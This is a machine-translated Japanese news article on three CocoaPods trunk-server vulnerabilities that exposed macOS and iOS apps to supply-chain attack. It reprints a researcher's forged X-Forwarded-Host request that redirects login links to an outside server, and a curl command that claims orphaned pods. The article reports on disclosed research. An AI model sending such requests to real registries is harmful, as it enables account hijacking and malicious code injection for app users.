1719947507
2024-07-01 23:43:41
オーリッヒ・ローソン
10年間も発見されなかった脆弱性により、macOSやiOSの何千ものアプリがサプライチェーン攻撃の危険にさらされていた。ハッカーが悪意のあるコードを追加し、それをインストールした何百万、何十億もの人々のセキュリティを侵害した可能性があると研究者らは月曜日に述べた。
昨年 10 月に修正されたこの脆弱性は、約 300 万の macOS および iOS アプリが依存しているオープンソースの Swift および Objective-C プロジェクトのリポジトリである CocoaPods の管理に使用される「トランク」サーバーに存在していました。開発者が「ポッド」(CocoaPods の用語で個々のコード パッケージを指す)の 1 つに変更を加えると、依存するアプリは通常、アプリのアップデートを通じてその変更を自動的に取り入れ、通常、エンド ユーザーによる操作は必要ありません。
コードインジェクションの脆弱性
「多くのアプリケーションは、ユーザーの最も機密性の高い情報、つまりクレジットカード情報、医療記録、個人的な資料などにアクセスできます」と、この脆弱性を発見した EVA Information Security 社の研究者は述べています。「これらのアプリケーションにコードを挿入すると、攻撃者はこの情報にアクセスして、ランサムウェア、詐欺、脅迫、企業スパイなど、考えられるほぼあらゆる悪意のある目的に利用できるようになります。その過程で、企業は重大な法的責任や評判リスクにさらされる可能性があります。」
EVA が発見した 3 つの脆弱性は、個々のポッドの開発者を認証するために使用される安全でない検証メール メカニズムに起因しています。開発者は、ポッドに関連付けられたメール アドレスを入力します。トランク サーバーは、そのアドレスにリンクを送信して応答します。ユーザーがリンクをクリックすると、アカウントにアクセスできるようになります。
あるケースでは、攻撃者はリンク内の URL を操作して、攻撃者が管理するサーバーを指すようにすることができました。サーバーは、HTTP リクエストで指定されたターゲット ホストを識別するための HTTP ヘッダーである偽の XFH を受け入れました。EVA の研究者は、偽造された XFH を使用して任意の URL を作成できることを発見しました。
通常、電子メールには、次のような CocoaPods.org サーバーに投稿された有効なリンクが含まれます。

EVA情報セキュリティ
研究者は、代わりに URL を自分のサーバーに誘導するように変更することもできます。

EVA情報セキュリティ
CVE-2024-38367 として追跡されているこの脆弱性は、セッション検証 URL を処理するトランク サーバーのソース コードの session_controller クラスに存在していました。このクラスは sessions_controller.rb メカニズムを使用しており、これにより元のホスト ヘッダーよりも XFH が優先されます。研究者のエクスプロイト コードは次のとおりです。
POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78
{
"email":"[email protected]",
"name":"EVAResearch",
"description":null
}
CVE-2024-38368 として追跡されている別の脆弱性により、開発者が放棄したがアプリで引き続き使用されているポッドを攻撃者が制御できるようになりました。開発者がポッドを取り戻すことを可能にするプログラミング インターフェースは、最初に実装されてからほぼ 10 年経った今でもアクティブのままです。研究者は、孤立したポッドへのインターフェースを見つけた人は誰でも、所有権の証明を必要とせずに、それをアクティブにして制御できることを発見しました。
必要なのは、ポッド名を含む単純な curl リクエストだけです。
# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST'
-H 'Host: trunk.cocoapods.org'
-H 'Content-Type: application/x-www-form-urlencoded'
--data-binary 'owner[name][email protected]'
--data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'
'https://trunk.cocoapods.org/claims'
3 番目の脆弱性 CVE-2024-38366 により、攻撃者はトランク サーバーでコードを実行できるようになりました。トランク サーバーは、1982 年に公式化された RFC822 に依存して、登録された開発者の電子メール アドレスの一意性を検証し、正しい形式に従っているかどうかを確認します。プロセスの一部には、この RFC822 実装によって実装された電子メール アドレス ドメインの MX レコードの検査が含まれます。
#300万のiOSおよびmacOSアプリが強力なサプライチェーン攻撃にさらされた